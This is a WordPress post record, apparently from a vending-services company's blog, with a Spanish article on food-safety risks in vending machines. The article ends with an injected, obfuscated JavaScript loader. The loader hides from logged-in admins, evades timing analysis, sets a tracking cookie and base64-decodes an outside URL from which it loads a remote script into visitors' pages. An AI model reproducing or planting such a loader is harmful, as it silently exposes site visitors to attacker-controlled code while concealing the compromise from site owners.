{"id":2631,"date":"2015-07-02T15:01:32","date_gmt":"2015-07-02T18:01:32","guid":{"rendered":"http:\/\/w4000444.ferozo.com\/?p=2631"},"modified":"2025-11-04T15:24:49","modified_gmt":"2025-11-04T18:24:49","slug":"seguridad-alimentaria","status":"publish","type":"post","link":"https:\/\/controlglobal.biz\/blog\/2015\/07\/02\/seguridad-alimentaria\/","title":{"rendered":"Seguridad alimentaria"},"content":{"rendered":"<blockquote>\n<h4><strong>La ubicaci\u00f3n de las m\u00e1quinas, a menudo inadecuada, constituye uno de los puntos que m\u00e1s vulneran la seguridad de los alimentos<\/strong><\/h4>\n<\/blockquote>\n<p style=\"text-align: justify;\">El hecho de almacenar productos en m\u00e1quinas expendedoras genera ciertos peligros en la distribuci\u00f3n de productos, que compromete la seguridad alimentaria de los mismos. La ubicaci\u00f3n de estas m\u00e1quinas expendedoras, a menudo situadas en emplazamientos de elevado riesgo sanitario (normalmente de mucho tr\u00e1nsito de personas e incluso de animales), que adem\u00e1s no suelen ser tratadas como zonas protegidas desde el punto de vista higi\u00e9nico-sanitario, pueden convertirse en un potencial foco de contaminaci\u00f3n, constituyendo un factor de riesgo a\u00f1adido.<\/p>\n<p style=\"text-align: justify;\">Los principales factores de contaminaci\u00f3n en estos productos son:<\/p>\n<ul style=\"text-align: justify;\">\n<li>La contaminaci\u00f3n Microbiana debido a la multiplicaci\u00f3n de microorganismos, tanto alterantes como pat\u00f3genos, consecuencia de la conservaci\u00f3n a temperaturas inadecuadas.<\/li>\n<li>La contaminaci\u00f3n Biol\u00f3gica como Qu\u00edmica, e incluso F\u00edsica, ocasionada por el mal estado de conservaci\u00f3n e higiene de este tipo de m\u00e1quinas.<\/li>\n<li>Deterioro de los alimentos (desarrollo de microorganismos alterantes o pat\u00f3genos, alteraci\u00f3n enzim\u00e1tica, modificaci\u00f3n de sus propiedades organol\u00e9pticas o p\u00e9rdida de nutrientes) por sobrepasar las fechas de caducidad de los productos o de consumo preferente.<\/li>\n<li>La condensaci\u00f3n que genera la m\u00e1quina al producir vapor en su producci\u00f3n, es la principal fuente de aver\u00edas y en un problema para la correcta conservaci\u00f3n de los productos perecederos almacenados en ellas. La humedad generada alterar\u00e1 la temperatura de los alimentos y el sistema el\u00e9ctrico de la expendedora.<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Por ello recomendamos que la rapidez del servicio sea esencial. Contando con personal capacitado, que tenga una rutina de mantenimiento constante, debe entender c\u00f3mo surtir la m\u00e1quina y la temperatura a la cual debe estar.<\/p>\n<p style=\"text-align: justify;\">El mantenimiento de la m\u00e1quina expendedora debe asegurar su correcto funcionamiento en todas sus funciones, de tal forma que se garantizar\u00e1n unas \u00f3ptimas condiciones de conservaci\u00f3n y elaboraci\u00f3n, si fuera el caso, de los alimentos all\u00ed expuestos. El nivel de confianza para un buen servicio requiere contar con las refacciones y partes de m\u00e1quinas y equipo que permitan la pronta reparaci\u00f3n cuando fuera necesaria.<\/p>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>La ubicaci\u00f3n de las m\u00e1quinas, a menudo inadecuada, constituye uno de los puntos que m\u00e1s vulneran la seguridad de los alimentos El hecho de almacenar productos en m\u00e1quinas expendedoras genera ciertos peligros en la distribuci\u00f3n de productos, que compromete la seguridad alimentaria de los mismos. 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